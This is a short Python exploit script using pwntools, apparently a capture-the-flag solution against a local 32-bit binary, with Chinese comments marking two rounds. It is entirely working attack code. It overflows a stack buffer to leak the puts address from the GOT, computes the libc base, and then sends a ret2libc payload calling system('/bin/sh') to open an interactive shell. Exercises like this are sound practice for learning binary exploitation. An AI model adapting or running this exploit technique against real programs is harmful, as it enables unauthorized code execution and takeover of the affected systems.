from pwn import \*

from LibcSearcher import \*

context(arch='i386', os='linux')

p = process('./pwn')

libc = ELF('./libc.so.6')

elf = ELF('./pwn')

# 第一轮：泄露puts地址

puts\_plt = elf.plt['puts']

puts\_got = elf.got['puts']

main\_addr = elf.sym['main']

padding = 0x48+0x04

payload = b'A'\* padding

payload += p32(puts\_plt) + p32(main\_addr) + p32(puts\_got)

p.sendlineafter(b"Input: ", payload)

leaked\_puts = u32(p.recv(4))

#libc = LibcSearcher('puts', leaked\_puts)

#libc\_base = leaked\_puts - libc.dump('puts')

#system = libc\_base + libc.dump('system')

#bin\_sh = libc\_base + libc.dump('str\_bin\_sh')

libc\_base = leaked\_puts - libc.sym['puts']

system\_add = libc\_base + libc.sym['system']

binsh\_add = libc\_base + next(libc.search(b'/bin/sh'))

# 第二轮：获取shell

payload = b'A'\* padding + p32(system\_add) + p32(0xdeadbeef) + p32(binsh\_add)

p.sendlineafter(b"Input: ", payload)

p.interactive()

